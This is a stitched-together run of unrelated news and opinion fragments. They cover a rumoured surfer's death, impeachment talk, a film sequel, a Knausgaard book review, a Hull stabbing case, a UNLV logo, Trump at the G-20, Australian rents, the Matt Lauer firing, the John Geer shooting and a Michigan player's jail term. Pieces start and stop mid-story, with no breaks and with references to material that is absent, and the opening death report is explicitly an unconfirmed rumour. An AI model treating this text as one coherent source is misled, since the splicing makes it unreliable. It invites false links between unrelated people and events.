UPDATE: 09:22 – ESPN posted article. No new details added at this stage – see it here.
08:54: This is unconfirmed at this stage but there’s a rumor going around that Andy Irons has passed away on his way home to Hawaii. The reports so far say that it was Dengue Fever… More coming when we can confirm.
(Photos via SurferMag and Billabong)
Andy Irons – I Surf Because…
Senator Ted Cruz, Republican of Texas, lamented to one voter who asked about the prospect of impeachment that the Senate, controlled by Democrats, would probably not yield the needed votes for conviction. (This logic has not impeded Mr. Cruz from seeking to stop a short-term spending bill unless money is drained from the health care program.)
There is also a grass-roots movement in which citizens across the nation have been hanging signs on overpasses that call for impeachment.
The lawmakers have not laid out any specific charges of high crimes and misdemeanors against Mr. Obama, though the health care law and I.R.S. scrutiny of applications by conservative groups for nonprofit status seem to be among the motivating factors.
In 2015’s Lazer Team, four small-town losers stumbled across a battle suit at an alien crash site and found themselves tasked with saving humanity, In the sequel, the character of Woody (Free) goes missing while working on secret, alien research and a scientist Maggie Wittington (Bloom) must recruit the former members of Lazer Team (Burns, Dunn, Jones) to join her in rescuing their lost friend.
“In the second movie it’s, ‘What happened to the Lazer Team since the aliens attacked earth?’” Burns told EW earlier this year. “Kind of, ‘Where are they now? And what are we doing about the imminent alien threat that still exists in the galaxy?’”
Lazer Team 2 is written by Burns, Daniel Fabelo, and Rooster Teeth CEO Matt Hullum, and co-directed by Fabelo and Hullum.
“We’re thrilled to be premiering Lazer Team 2 with YouTube Red and tell another story of adventure, heart, and hilarity with the old gang along with some new, exciting faces,” said Hullum in a statement. “YouTube Red has been a great partner for us and helped Rooster Teeth reach new audiences and fans.”
“Rooster Teeth’s engaged, global fanbase supported this project from the beginning, turning out in droves to watch their favorite personalities take on new roles,” said Susanne Daniels, YouTube’s Global Head of Original Content, in a statement. “We love that this movie franchise is thriving on YouTube Red and can’t wait to bring fans more of the action and humor they’ve come to love.”
Before premiering on YouTube Red, Lazer Team 2 will hit theaters for a special event cinema release in mid-November across the U.S., Canada, Australia, New Zealand, and the U.K. The film is being distributed by Gunpowder & Sky. Tickets and will be available at the Rooster Teeth website at a later date.
The reaction in Norway was unprecedented. By 2012, the books had sold 458,000 copies – a staggering figure in a country of 5 million people. Knausgaard's unflinching descriptions of his marriages, his father's alcoholism, his second wife's bipolar disorder and his conflicted feelings about fatherhood were profoundly shocking to the Lutheran sensibilities of a country that is less comfortable with public confessions than the Oprah-soaked anglophone world. Commentators obsessed over the new literary sensation. Was Knausgaard brave or shameless? Was it ethical to reveal so many other people's private lives along with his own? He received hate mail, death threats. His uncle started legal action. One Swede took the extreme critical step of setting fire to the K section of a Malmö bookstore, telling police that he did it because Knausgaard was "the worst author in the world". And what about the title – Min Kamp or My Struggle, a reference to Hitler's notorious autobiography? The final book (yet to appear in English) contains a 400-page essay on the Nazis and ends with a discussion of the anti-immigrant mass murderer Anders Breivik. What face was this man revealing? What kind of gaze did he want his readers to meet?
So far only the first three volumes of My Struggle have been translated, so it's hard for a non-Norwegian speaker to give a definitive answer to this question, but Knausgaard's reputation is already soaring in the English-speaking world, not least among writers. "I just finished the second volume of Karl Ove while high above the clouds in a plane," emailed one acclaimed novelist. "It was really one of the most sublime reading experiences of my adult life – almost equal to the kind I remember from childhood." "His arguments remind me why I got into this game in the first place," added another. I understood. I'd badgered Knausgaard's London editor for early copies, dispatched them in a few long sittings. But why? The commentary on My Struggle tends to focus, as I have in these paragraphs, on the phenomenon of the book's publication, rather than the writing itself. It is peculiarly difficult to get a grip on what makes the book so compelling, because much of it appears painfully banal. Knausgaard can spend pages describing cooking dinner, or his daughter's abstracted expression as he changes her nappy. He remembers teenage arguments with his father, making out with girls at parties. It is the stuff of an ordinary life, told without much embellishment, without much that declares itself (at least on first reading) as literary style.
Literature is usually considered to be something to do with heightened intensity. We call some kinds of language "poetic". We find some kinds of narrative "gripping" or "page-turning". So what are we to do with this?
I found a hairdresser's I hadn't seen when I passed by the first time, in a passage beside the big department store. I just had to take a seat. No wash, my hair was moistened with water from a spray. The hairdresser, an immigrant, a Kurd I guessed, asked how I wanted it, I said short, indicated with my thumb and first finger how short I had in mind, he asked what I did, I said I was a student, he asked where I came from, I said Norway, he asked if I was here on holiday, I said yes, and that was it.
Knausgaard is capable of writing sharp, essayistic sentences:
Memory is pragmatic, it is sly and artful, but not in any hostile or malicious way; on the contrary, it does everything it can to keep its host satisfied. Something pushes a memory into the great void of oblivion, something distorts it beyond recognition, something misunderstands it totally, something, and this something is as good as nothing, recalls it with sharpness, clarity and accuracy. That which is remembered accurately is never given to you to determine.
Oslo, where Knausgaard was born. Photograph: Jeff Gilbert/Alamy
He can also write lyrical description, the kind of prose it is easy to tag as "literature". But often he chooses to write as he does about his trip to the Stockholm hairdresser, scrupulously, with mild pedantry, about something mundane. However, these passages are often deceptive. When his haircut is finished, he looks down at the locks of hair on the floor around the barber's chair and makes an odd observation:
They were almost completely black. That was strange because when I looked in the mirror I had fair hair. It had always been like that. Even though I knew my hair was dark, I couldn't see it. I saw fair hair, as it had been in my boyhood and teens. Even in photos I saw fair hair.
So, Knausgaard thinks of himself as a blond. What of it? It is an incident that doesn't have any particular fallout. He never sees the Kurdish hairdresser again. The haircut is satisfactory. There is no revelation about his – what to call it? Hair dyschromia? – beyond the author's curiosity at the trick his memory and perception have played on him, and a slight note of unease at the gap between reality and his image of himself.
This is not boring in the way bad narrative is boring; it is boring in the way life is boring, and somehow, almost perversely, that is a surprising thing to see on the page. My Struggle (a slippery, self-ironising title) is composed of small incidents, some described at great length – 50 pages at a children's party, more about a teenage plan to hide some cans of beer one New Year's Eve. There are sections about more traumatic or intimate events – the harrowing job of cleaning up after his father's death, a drunken episode of self-cutting after a sexual rejection at a young writers' residential course – but Knausgaard appears to have shaped his narrative according to the "sly and artful" dictates of his memory. One has the sense that many significant things have been omitted, while seemingly insignificant things are being given undue or unlikely weight. In the first two volumes the narrative hops about between times and places, incorporating digressions about art and writing and the nature of remembering. The third is a more conventionally linear childhood memoir. What there isn't is a plot. The various events are allowed to take their own shape, without being forced into a conventional mould.
We are used to memoirs that read like bad novels, following certain familiar arcs. Survivors describe the obstacles they have surmounted to become the healthy, happy people they are today. The rich and famous take us with them on their rise to the top. Whistleblowers and the protagonists of scandals tell their forbidden secrets. In My Struggle, Knausgaard attempts something more disconcerting. He tries, as he puts it, to show his face. The incident of the dark hair speaks, like much in the book, to his search for a kind of self-knowledge that isn't in thrall to hackneyed narrative conventions or, crucially, to the near-universal desire to appear a certain way to others, to be admirable or heroic or simply likable. "The life I led was not my own," he writes. "I tried to make it mine, this was my struggle, because of course I wanted it, but I failed, the longing for something else undermined all my efforts."
The governing emotion of My Struggle is shame. When Knausgaard drunkenly cuts his face at the writers' residency, he tells us he had "never experienced such shame before". As a child he is ashamed of a floral bathing cap his parents make him wear to the pool. As a 24-year-old he is ashamed of his intense ambition, which he fears makes him ludicrous. As an aspiring writer, he is ashamed that he takes a well-known novelist's sarcasm for a compliment. Doing a TV interview, he decides his weakness for approbation is a personality flaw. "I was a whore," he writes. "This was the only suitable term."
This shame is bound up with his father, one of the great suburban monsters of literature. Knausgaard isn't beaten or sexually abused, but grows up in an atmosphere of grinding rectitude and pervasive bitterness. The older Knausgaard terrorises his two sons, his thwarted hopes finding expression as sarcasm (Karl Ove has a speech impediment, which is cruelly mocked) or eruptions of anger occasioned by the most minor infringements of discipline. When he loses a sock at swimming practice, Knausgaard is so afraid that he weeps. It is too simplistic to say that My Struggle is written to overcome a sense of worthlessness, but that is surely one of its driving impulses. It is also an act of self-shaming, a public display of wounds that has opened the author to accusations of narcissism and self‑aggrandisement.
Knausgaard's struggle with shame certainly feels genuine, though not altogether straightforward. If you are truly ashamed of something, do you share it? Doesn't sharing your shameful secret imply you take some pleasure in exposure, the flasher's thrill? But even if Knausgaard is serving his self‑revelation in a sauce of kink, it takes on more than therapeutic importance when one considers the way shame functions as a sort of barrier to authenticity. We do something in private – cheat or steal or tell a lie. If our moral failing is exposed, we feel shame, not because we have transgressed, but because we have been observed in our transgression. Shame is essentially public, and the near-universal desire to avoid it is an effective form of social regulation. So, if your artistic project is to look at yourself without shame (also, presumably, without vanity) in order to see yourself authentically, you must pay a social price. We deeply value the good opinion of others – at the limit it is all that keeps us safe from attack – and even if a writer's desire to overcome shame is sincere, it would be surprising, perhaps even pathological, were he to be able to overcome it fully and without pain. Seen like this, My Struggle becomes an almost political exercise in transparency, a response to the "always on" culture of cams and surveillance that has destroyed our old expectations of privacy.
Bergen, where Knausgaard went to univeristy. Photograph: Graham Turner for the Guardian
Many critics treat My Struggle straightforwardly as memoir, praising it as some kind of unusually neutral transposition from life into art. In Norway it was published as a novel, a small provocation that the English-language publishers have dispensed with. Knausgaard is no James Frey, cashing in on the public's desire for sincere self-revelation by faking events and people that don't exist. But he is, inevitably, an unreliable narrator. How could he not be? We live a life of many dinners, many haircuts, many nappy changes. You can't narrate them all. You pick and choose. You (in the unlovely vernacular of our time) curate. There are also personal and legal pressures. Before publication, the manuscript of My Struggle was shown to people who appear as characters, and some asked to be taken out. Calling this book a novel wasn't (or wasn't just) some kind of legal fiction, but a warning to the unwary, to those who don't stop to consider that this is art. Knausgaard explores his relationships with his brother and father in depth, his mother less so. In reality, there is at least one other close relative who does not appear in the text and does not wish to be associated with the book or its author. Knausgaard's paternal uncle asked to have his name changed, and has attacked the project in the Norwegian press. Once one has started tugging at these threads, the idea that this is a neutral recollection begins to unravel.
Remembering the traumatic day his father tried to teach him to swim, Knausgaard specifies that he was wearing "the blue Las Palmas T-shirt I had been given by my grandparents". As they return to the car, his father carries a cooler bag, a life jacket and a wet towel. Knausgaard specifies the order in which they were placed in the boot. The author appears to have perfect recall, though of course he has already told us he is aware of the sly, artful tricks of memory. So are these details and the thousands like them invented? Are they perhaps collaged together or reconstructed? Part of Knausgaard's struggle is with truth and memory, a battle to reconstruct the past performed by someone using all the tools of the novel. In a memoir, one would call the missing relative a problem, a sin of omission, and ask, what is reality? Am I being fooled? In a novel, we apply different standards. We ask, what is this feeling of reality? It is visible to us as an aesthetic, an effect of artistic technique.
In an earlier passage, Knausgaard looks at paintings, trying to chase down a feeling he has in front of some but not others: certain works by Vermeer or the aged Rembrandt's self-portrait in the National Gallery, but not Rubens or Whistler or Michelangelo.
I don't know what it was about these pictures that made such a great impression on me. However it was striking that they were all painted before the 1900s, within the artistic paradigm that always retained some reference to visible reality. Thus, there was always a certain objectivity to them, by which I mean a distance between reality and the portrayal of reality, and it was doubtless in this interlying space where it 'happened', where it appeared, whatever it was I saw, when the world seemed to step forward from the world.
As a description of aesthetic realism, of how it seeks to function, this is very fine. The experience of reading My Struggle is that of the world seeming to step forward from the world. It is not the world mirrored or photocopied; its relationship to reality is less direct, less innocent. The book is the record of someone trying and failing (failing better, as Beckett has it) to make an accurate representation of himself; the gap between the world and that representation, between the world and itself, is the space where all sorts of questions about truth and personal identity arise.
There is a Nordic tradition of such writing, writing that seeks, at considerable length, to make the world step out from the world. Knausgaard himself nods to the Norwegian Modernist poet Olav Hauge, who lived his whole life in the same small coastal village and left a 4,000-page diary that he kept from the age of 15 until his death 70 years later. There is also the Finn Kalle Päätalo, whose 26-volume Iijoki series is considered the longest published autobiographical narrative in the world. Though it deals only with the author's life from birth to the publication of his first novel, a period largely spent in forestry and construction work in northern Finland, it is apparently very popular, earning Päätalo the nickname King of the Reprints. Knausgaard's most relentless public detractor is the novelist Ole Robert Sunde, whose own multi-volume autobiography (in progress since 1984) has received significantly less attention than his rival's, leading him to give bitter interviews in which he declares that he is the better writer, and is only less popular because his prose is technically demanding and he does not stoop to "lifting the duvet".
Knausgaard's second novel, written just before his crisis of fictional confidence, is A Time for Everything, an extravagant and compelling history of angels and their interactions with humans. Knausgaard's angels are wounded, tragic and, finally, debased, gradually degenerating as they fall away from God. The book retells several Old Testament stories, reimagining those that take place before the flood in a Norwegian landscape of fjords and forests. If a reader comes to it, as I did, after My Struggle, its exotic subject matter seems like a skin over a familiar body. Those two brothers, Cain and Abel. Loving, jealous, competing. Are they familiar? What about that wrathful God? There is a sense that the writer is using material from his own life, not as biographical details (though there is some of that too) but in the form of emotional dynamics, clusters of feelings and experiences. You find yourself thinking, yes, this is how brothers are. This is what it is to have an angry father. The two books, one that seems so flagrantly novelistic, the other so rigorously autobiographical, are actually far closer than they appear. The concern for personal authenticity is also part of a quest for purity. The sensibility attracted to writing about angels is clearly the same as that of the self-disgusted man who needs to tell the truth about his life.
When I look at a beautiful painting I have tears in my eyes, but not when I look at my children. That does not mean I do not love them, because I do, with all my heart, it simply means that the meaning they produce is not sufficient to fulfil a whole life. Not mine at any rate.
For writers who are also parents, Knausgaard wins points for facing up to the undeniable conflict between domestic life and work. His love for his children is portrayed with great tenderness, but he yearns to have more time to himself, to live "another kind of life". He strains at his bonds, eyeing up women, outraged at the thought that an attractive young teacher sees him as a sexless, unthreatening dad. At times, he finds his lot intolerable:
Everyday life, with its duties and routines, was something I endured, not a thing I enjoyed, nor something that was meaningful or made me happy. This had nothing to do with a lack of desire to wash floors or change nappies but rather with something more fundamental: the life around me was not meaningful. I always longed to be away from it, and always had done.
At times he can be very funny, describing himself striding about the city, a "19th-century man" seething with anger, a baby in a carrier strapped to his chest. He feels an affinity with the baroque, a period before life lost touch with "the essence". As Knausgaard drops off his kids at the state-run daycare, he grumbles about the emasculating effects of Scandinavian social democracy, to the sound of teeny-tiny violins from those of us who are not eligible for a year's parental leave at 100% of our salaries. His sociologist friend Geir, who seems to be his chief intellectual foil, writes a book about a boxing gym. "There the values that the welfare state had otherwise subverted, such as masculinity, honour, violence and pain, were upheld." Geir produces essays on such topics as Karl Jaspers' existential notion of the "limit Situation", and introduces Knausgaard to "the great classical antiliberal cultures, in a line extending from Nietzsche and Jünger to Mishima and Cioran. There nothing was for sale, nothing could be measured in terms of monetary value …"
These are all fine writers and I am more than sympathetic to the idea that if we are to survive the age of neoliberal globalisation we need to revive non-economic conceptions of value, but when someone lines up this particular canon, all I see is a truckload of honourable violence and pain heading in my direction, driven by a man with very shiny buttons on his uniform. Knausgaard's unapologetic Romanticism, his love of Hölderlin, his wish for an art in which "the flames of truth and beauty burn" heighten his sense of spiritual impoverishment, but also leave him receptive to the kind of neoreactionary ideas peddled by his friend. If the narrative of the decline of the angels is that of the spiritual gradually exhausting itself in the everyday, My Struggle seems animated by the desire to reawaken it, to infuse higher meaning into his own, ordinary life. The Hitlerian provocation of the title is thus more than a flippant joke, since it seems (at least from these volumes) that the author wishes to drink from the same wells of Nordic tradition as his predecessor. How far Knausgaard wishes to go with such flirtations will, I suppose, become clear as further volumes are translated. As a rootless cosmopolitan who has reason to be suspicious of appeals to authenticity, this is where I part company with his struggle, though not with his work, which I will continue to read – and argue with.
A Hull man who was stabbed by his partner has tried to propose to her in court just after she was jailed for three years for the attack.
Tiffany Baillie, 32, plunged a kitchen knife into Gregory Todd's back at their flat in Hessle, East Yorkshire, in December, Hull Crown Court heard.
She admitted causing grievous bodily harm with intent at a previous hearing.
Chef Mr Todd, 48, brought an engagement ring to court on Wednesday in the hope Baillie would walk free.
Outside the courtroom, Mr Todd said he accepted the judge had to send Baillie to prison and praised him for his leniency.
He said he was not allowed to go down into the cells at Hull Crown Court to show her the ring.
But he said his barrister took it to Baillie and he was relieved to be told that it fitted her.
I just want to be with Tiffany. That's all I can say Gregory Todd
The jury was told how Mr Todd suffered serious injuries, including damage to his colon, a kidney and his pancreas, after Baillie plunged a kitchen knife into his back, probably while he was asleep on a bed.
The pair had returned home from a night out drinking.
Mr Todd's life was saved by emergency surgery and he spent three months in hospital after the attack.
Judge Michael Mettyear said he was giving Baillie more credit than normal owing to Mr Todd's total forgiveness.
He said to Baillie: "Your victim has completely forgiven you.
"He has visited you in prison and has written to me stating in detail his view of you and what should happen to you."
Mr Todd said he was hoping Baillie would be out in little more than a year and that he would see her in prison as often as possible.
"It was totally out of character and I don't know what else to do," he said.
UNLV athletics has undergone a lot of change in the past year or so — a new AD, a revamped basketball program, a new football stadium deal — and on Wednesday, the university continued the revamping process by unveiling a new logo.
The previous “spirit logo," which featured a caricature of the Rebels’ prospector mascot Hey Reb!, has been replaced by a sideways-facing silhouette of Hey Reb! set against a background in the shape of the "Welcome to Fabulous Las Vegas" sign:
At Wednesday's announcement, UNLV president Len Jessup said a redesign committee and a graphic design firm spent almost a year brainstorming, researching and finalizing the new look.
Initial reaction to the new logo was mixed, with Rebels fans chiming in for and against it on social media.
Jessup pegged the total cost of the redesign between $50,000-$60,000, and said the funds came from "private money."
The new logo will be used immediately in all digital spaces and on some ticketing. Jessup said the physical rollout could be more gradual, but that he expects both the football and men's basketball teams to play in uniforms featuring the new logo at some point during the upcoming seasons.
The Hey Reb! character has been the subject of some controversy in the past, but according to Jessup, the redesign committee never seriously considered completely dropping the "Rebels" moniker.
To assess President Trump’s performance at the G-20 Summit, it is worth remembering two things. First, for years, Republican foreign policy commentators blasted Barack Obama’s “leading from behind” foreign policy strategy as an abdication of U.S. leadership and an abandonment of U.S. allies. A specific criticism was the notion that the Obama administration had done little while Russian President Vladimir Putin had intervened in Ukraine and Syria. A deeper criticism was that Obama seemed reactive to world events. Rather than setting the global agenda, Obama was often criticized for being a prisoner of other people’s agendas.
The second thing is that, two months ago, two key Trump White House staff members wrote an extraordinary op-ed in the Wall Street Journal promising that Trump’s strategy of “America First” would not mean “America Alone.” National security adviser H.R. McMaster and chief economic adviser Gary Cohn were quite explicit on this point:
America First does not mean America alone. It is a commitment to protecting and advancing our vital interests while also fostering cooperation and strengthening relationships with our allies and partners. A determination to stand up for our people and our way of life deepens our friends’ respect for America.
So did last week’s G20 summit bear out McMaster and Cohn’s claim? No. No, it does not.
In many ways, this cake was baked even before the summit started. The European Union and Japan responded to Trump’s protectionist instincts by announcing an agreement on a trade deal. As my colleague Ana Swanson reported:
Leaders from Japan and the European Union on Thursday announced their agreement on the broad strokes of a trade deal that will cover nearly 30 percent of the global economy, 10 percent of the world’s population and 40 percent of global trade. If the nations agree to the terms, the deal will create a trading bloc roughly the same size as that established by the North American Free Trade Agreement, a 1994 deal between the United States, Mexico and Canada. Coming on the eve of the Group of 20 meeting of global leaders in Hamburg, the announcement appeared to be a calculated rebuke of both the United States, which has spurned global trade agreements in favor of more protectionist policies under President Trump, and Britain, which voted to leave the European Union last year.
It does not seem as though America’s allies are really following Trump’s lead here.
Meanwhile, for all of Trump’s happy talk in recent months about China pressuring North Korea, last week’s ICBM launch led to a coordinated statement — from China and Russia. As The Diplomat’s DD Wu noted:
What is noteworthy this time is that the July 4 joint statement is actually the first such statement issued under the name of both Foreign Ministries in ten years. The statement’s prompt timing as well as the signing parties demonstrates the highest-level consensus and determination between both countries. Given that Russia and China are both the permanent members of the United Nations Security Council, the joint statement implies a strong alliance between the big two on the issue, which could be a double-edged sword for both North Korea and the United States.
So for all the talk about a successful Trump-Xi Mar-a-Lago Summit, it would appear that China coordinated much more with Russia on North Korea. And Russia subsequently blocked any useful U.N. Security Council statement on North Korea’s ballistic missile program.
Finally, the United States was pretty marginalized at the G-20 summit itself. China and Germany took the lead in the run-up to the summit. In the aftermath, neither the New York Times nor the Washington Post write-ups looked pretty. From the Times:
For years the United States was the dominant force and set the agenda at the annual gathering of the leaders of the world’s largest economies. But on Friday, when President Trump met with other leaders at the Group of 20 conference, he found the United States isolated on everything from trade to climate change, and faced with the prospect of the group’s issuing a statement on Saturday that lays bare how the United States stands alone.
And from The Post:
President Trump and other world leaders on Saturday emerged from two days of talks unable to resolve key differences on core issues such as climate change and globalization, slapping an exclamation point on a divisive summit that left other nations fearing for the future of global alliances in the Trump era. The scale of disharmony was remarkable for the annual Group of 20 meeting of world economic powers, a venue better known for sleepy bromides about easy-to-agree-on issues. Even as negotiators made a good-faith effort to bargain toward consensus, European leaders said that a chasm has opened between the United States and the rest of the world.
In the end, they all signed a communique, one that singled out the Trump administration’s opposition to the Paris climate change accord.
So, at best, the rest of the G-20 shrugged at Trump’s discordant policy positions. At worst, they refused to follow him on any major issue. The economy and the environment were the issue that made up the bulk of the communique, and on both of these issues the United States was largely isolated.
Trump’s nationalist advisers are apparently giddy about the trip, believing that Trump’s Warsaw speech combined with his bilateral meetings in Hamburg made him look presidential. In actuality, his Warsaw speech was a mixed bag. As for his bilateral with, say, Putin, the deliverables are dubious. On the plus side, a cease-fire in Syria appears to be holding. On the down side, Trump’s proposed cyber-cooperation with Russia drew widespread mockery from experts and Republican politicians. The criticism was so fierce that Trump managed to contradict himself on Twitter in a single day:
Putin & I discussed forming an impenetrable Cyber Security unit so that election hacking, & many other negative things, will be guarded.. — Donald J. Trump (@realDonaldTrump) July 9, 2017
The fact that President Putin and I discussed a Cyber Security unit doesn't mean I think it can happen. It can't-but a ceasefire can,& did! — Donald J. Trump (@realDonaldTrump) July 10, 2017
Perhaps the biggest summit fail was the Trump’s lack of any agenda-setting power. There was no issue the president was able to push onto the agenda that was not already on the agenda. Instead, while Trump had his meetings, ties between other countries (the EU and Japan, Russia and China, the EU and China) seemed to deepen far more.
So, to sum up: No other G-20 member agreed with the United States on the two key issues at the summit, climate change and trade. Trump’s most high-profile bilateral meeting proved to be a political embarrassment for the administration. And the rest of the world is growing inured to Trump’s America First strategy.
Rents rise in most Australian cities as investors flood into the housing market
Rents have continued to increase in almost every Australian capital city with unprecedented levels of investment contributing to the average rental for an apartment in Sydney jumping to more than $500 a week over the past year.
The median weekly rent has increased over the past year in Sydney, Brisbane, Melbourne and Adelaide but is falling in Darwin and Perth, according to the latest Domain Group Rental Report.
The median weekly rent for a Sydney house is $530, an increase of 1.9% over the past quarter while units were steady at $500.
Domain senior economist Dr Andrew Wilson said a combination of factors, including the high rates of investing and low numbers of first home buyers, had led to the increases.
“We would have expected some rental relief for tenants by now,” he said. “The continued increase in rental prices is indicative of the low numbers of first home buyers and the pressure on the rental market as a result.
“Unprecedented residential investor activity in Sydney over the past year and a surge in new dwelling construction have failed to provide rental relief for tenants.”
Housing affordability has started to become a pressing issue for state and federal governments. The New South Wales budget had record revenue of more than $7bn from stamp duty, and the government faced criticism for not doing enough to improve housing affordability and rents.
Mission Australia last month called on the federal treasurer, Joe Hockey, to chair a housing summit after he said people needed a good job to buy a house.
Wilson said high returns on rents was one of the key drivers for investors buying up properties.
“On average, investors are seeing positive returns,” he said. “Residential yields remain ahead of average term deposit rates, which are at historically low levels.
“Although increasing rent is likely to continue in most capitals for the remainder of 2015, early signs of relief are emerging for tenants with vacancy rates easing over June. That said, investors are set to remain active, particularly in the Sydney market, given the high yields, low interest rates and the likelihood of continued solid capital growth.”
Brisbane rents for units increased by 1.4% over the past year to $370 a week while houses were $400. Melbourne house rents have risen to a weekly median of $390 a week while unit rents increased by 1.4% to $370.
House rents in Adelaide increased by 1.4% over the past year while units increased by 1.8%.
In Hobart, over the quarter, house rents increased by a sharp 6.5% while unit rents fell by 3.6% to $270 a week, but over the year had still risen by 1.9%.
In Perth house and unit rents are down to $430 and $375 respectively, falling by 6.5% and 6.3% over the year. Darwin has also seen a fall with the weekly median house rent at $600 a week, down by 7.7%, and units down by 9.1% to $500 a week.
But this news was personal.
Their colleague Matt Lauer had been fired from NBC for inappropriate sexual behavior.
"We just learned this moments ago, just this morning," said Guthrie, who has co-anchored with Lauer since 2012.
For the third time in the past few months, female journalists have had to report live on a national morning show about sexual harassment accusations against colleagues.
Guthrie appeared emotional as she talked about her co-anchor.
"For the moment, all we can say is that we are heartbroken," she said. "I'm heartbroken for Matt. He is my dear, dear friend and my partner and he is beloved by many, many people here."
Guthrie didn't stop there, however.
"And I'm heartbroken for the brave colleague who came forward to tell her story, and any other women who have their own stories to tell," she said. "We are grappling with a dilemma that so many people have faced these past few weeks: How do you reconcile your love for someone with the revelation that they have behaved badly and I don't know the answer to that."
Praise for Guthrie flooded social media.
"She was saddened for her friend and colleague but confirmed the import of the accuser coming forward," one user tweeted. "She was a model of grace in an unprecedented situation."
Kudos to @SavannahGuthrie for her poise this AM in announcing the firing of Matt Lauer
She was saddened for her friend and colleague but confirmed the import of the accuser coming forward. She was a model of grace in an unprecedented situation. — Warriors (@twitwar2017) November 29, 2017
#classact well done @SavannahGuthrie sure you are very sad but kept your composure! #MattLauer — AnnAmAlgirl 👸🐱🐶 (@Annamallgirl) November 29, 2017
@SavannahGuthrie You were amazing this morning. I felt so sad for you, but you were nothing but dignity, class, and honor while your heart sank. That was a model to follow. That is how I want my daughter to be. Thank you. — paraperson123 (@paraperson123) November 29, 2017
Morning shows are a special animal in the landscape of television.
They sell the idea of family -- both that those working there are one and that they are a part of the audience's family at home.
Such shows are also more often than not aimed at garnering women as viewers. That makes how they report on allegations of sexual harassment and misconduct -- especially if it involves the talent of the show -- even more important.
The praise for Guthrie echoed the shout outs for "CBS This Morning" co-hosts Norah O'Donnell and Gayle King, who earlier this month had the difficult task of reporting the termination of their friend and co-host Charlie Rose after a host of sexual misconduct allegations.
Like Guthrie, the pair addressed the difficulty in reporting on a dear friend while also acknowledging their support of the alleged victims.
"Charlie does not get a pass here," King said.
CBS' Norah O'Donnell: 'This has to end. This behavior is wrong'
In October, MSNBC's Mika Brzezinski reported on her network's decision to suspend longtime contributor Mark Halperin after he was accused of sexual harassment by multiple women.
Brzezinski, who co-hosts MSNBC's "Morning Joe" with fiancé Joe Scarborough, said that while Halperin had "been a part of Morning Joe's extended family for years" she supported parent company NBC's decision.
"We are at a pivotal moment in history where unacceptable harassing behavior towards women will no longer be swept under the rug," Brzezinski said. "And yes, we do remain a nation of laws where everyone is considered innocent until proven guilty and nothing has been proven or adjudicated here. But we're also witnessing a larger movement of women speaking up about sexual harassment because the fear of being dismissed or not beloved is melting away."
NBC's Megyn Kelly said much the same thing when she hosted her portion of "Today" on Wednesday.
Kelly commiserated with her coworkers saying she could "see the anguish on my colleagues faces."
She also talked of the difficulty for the women who come forward, the lost career opportunities for those who are harassed and the stress of being a victim.
Kelly, who reminded her audience that she had transitioned to NBC from Fox, which also dealt with such allegations, focused on the empowerment of women. She has said she was harassed by the late Roger Ailes, former chief executive officer of Fox News where she worked. Fox's former host Bill O'Reilly is also alleged to have harassed women during Kelly's tenure with the network
"We are in the middle of a sea change in this country," Kelly said. "An empowerment revolution in which women who for years have felt they had no choice but to simply deal with being harassed at work are now starting to picture another reality. They feel that change is within their grasp."
Long, cold silences and stonewalling basic attempts for information have been the biggest keynotes in the “Justice for John Geer” case centered in Fairfax County, Virginia. A special grand jury has indicted the officer responsible in Geer’s death on second-degree murder charges. The department has issued a statement (below).
You may recall that he was the law abiding father of two who was ordered by police to keep his hands at the top of his front doorway post. They were there for a mild, non-violent domestic dispute on the morning of August 29, 2013, until the situation escalated into what appeared to be a stand-off. He had his hands up – unarmed – for 42 minutes during discussions when a previously unidentified officer inexplicably shot him through the chest. The officer had claimed that Geer quickly reached for his waistband, but witness accounts including other officers later countered that claim. His family had seen it unfold in horror and begged the department for medical help to no avail. Department reports indicated that he died on the spot. A destructive raid ensued, possessions were taken and there were few answers after that.
That is until the family pursued it in court. Not only that, but an activist group called “Justice for John Geer” worked tirelessly to peacefully press the department and raise awareness on this unjustified shooting, the lack of accountability, and lack of answers. They inspired support and other peaceful demonstrations. To top it off, a Washington Post writer named Tom Jackman has written an account of every detail of the case since the beginning. Jackman showcased the all the unanswered questions. Had none of these people acted, the case would most likely remain conveniently buried.
Thanks to the court case started by Geer’s long-time partner Maura Harrington and her attorney, Fairfax county paid the family a settlement of $2.9 million dollars from two of its insurance funds. The largest in Virginia’s history for officer-involved shooting. Of course it doesn’t replace John and it was made utterly clear that the settlement was not an admission of guilt or liability from the department and county.
During the time after the incident, Adam Torres, the officer now known to have shot Geer had been placed on desk duty. He had been asked by detectives if he had fired by accident, as by most accounts Geers hands had slowly lowered to ear length, at the most. Torres adhered to the “hands quickly at the waistband” story and said,
It was not accidental. No, it was justified. I have no doubt about that at all. I don’t feel sorry for shooting the guy at all.
Last December, a Fairfax county judge ordered the release of nearly all information regarding the case, including videos and the responsible officer’s name. A commission began investigating. On July 31st, Torres was fired. Yesterday, he was indicted by a special grand jury – the first indictment in the county for an on-duty shooting.
Yesterday, the department issued this statement and was filmed at a press conference:
Police said Stonum, 21, was stopped Thursday morning and found to be driving on a revoked license on his way to a probation meeting, and lied to his probation officer, Steve Hill, about how he arrived for the meeting.
Judge Charles Pope of the 15th District Court of Michigan sentenced Stonum to 10 days in jail and admonished the player. Pope cited the resources the court had established to help Stonum obey the previous court order.
What bothered him the most, the judge said, was Stonum deceiving authorities.
"The whole time, you are doing this behind our backs," Pope said during Stonum's hearing.
Stonum was taken from the courtroom by police officers to immediately begin serving his sentence. This is Stonun's second jail term -- he received a three-day sentence in summer 2010 on a probation violation from a first drunken-driving arrest.
The Stafford, Texas, native was suspended indefinitely in May 2011 by Michigan coach Brady Hoke after being arrested for driving while visibly impaired. Stonum was sentenced to two years' probation in June, and redshirted this season.
Pope cited four alcohol-related offenses against Stonum, something he deemed "extremely unusual" for a 21-year-old. The judge said Stonum is among 1 percent of the population who have committed the number of alcohol-related offenses he has by his age.
In the past, Stonum also had been charged on separate counts of being a minor in possession of alcohol, but according to the court, those charges were dismissed.
Stonum has not paid any of the $1,950 he owes in court fees and had not attended any 12-step meetings in the past two weeks, the court said. The court also revoked his driver's license and he is not eligible to apply for one until June 22.
When sentenced, Stonum attempted to explain to the judge that he had just begun classes for the semester. He mumbled through most of his court appearance and told the court, "I was stuck," which was why he drove himself to meet with his probation officer.
To which Pope responded: "You were stuck because your actions have led to now."
Stonum next court date is Jan. 20.
On Thursday, Hoke said Stonum's status with the team had not changed and would not "until we know everything." A spokesman said Friday that there is no change in Stonum's status.
Stonum has 76 catches for 1,008 yards and six touchdowns in his career. He has one year of eligibility remaining.
